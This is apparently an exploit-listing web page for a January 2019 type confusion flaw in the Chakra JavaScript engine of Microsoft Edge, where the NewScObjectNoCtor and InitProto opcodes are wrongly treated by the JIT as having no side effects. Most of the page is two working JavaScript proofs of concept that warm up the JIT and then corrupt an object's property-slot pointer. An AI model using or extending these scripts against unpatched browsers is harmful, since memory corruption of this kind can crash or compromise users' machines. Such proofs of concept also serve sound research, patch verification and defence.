Microsoft edge chakra newscobjectnoctor or initproto type confusion Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-01-18 | Type : dos | Platform : windows
This exploit / vulnerability Microsoft edge chakra newscobjectnoctor or initproto type confusion is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234.

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
o.b = 1;

new cons();

o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
cons.prototype = {};

let o = {a: 1, b: 2};
opt(o, {});
}

let o = {a: 1, b: 2};

cons.prototype = o;

opt(o, 0x1234);

print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
o.b = 1;

let tmp = {__proto__: proto};

o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}

let o = {a: 1, b: 2};

opt(o, o, 0x1234);

print(o.a);
}

main();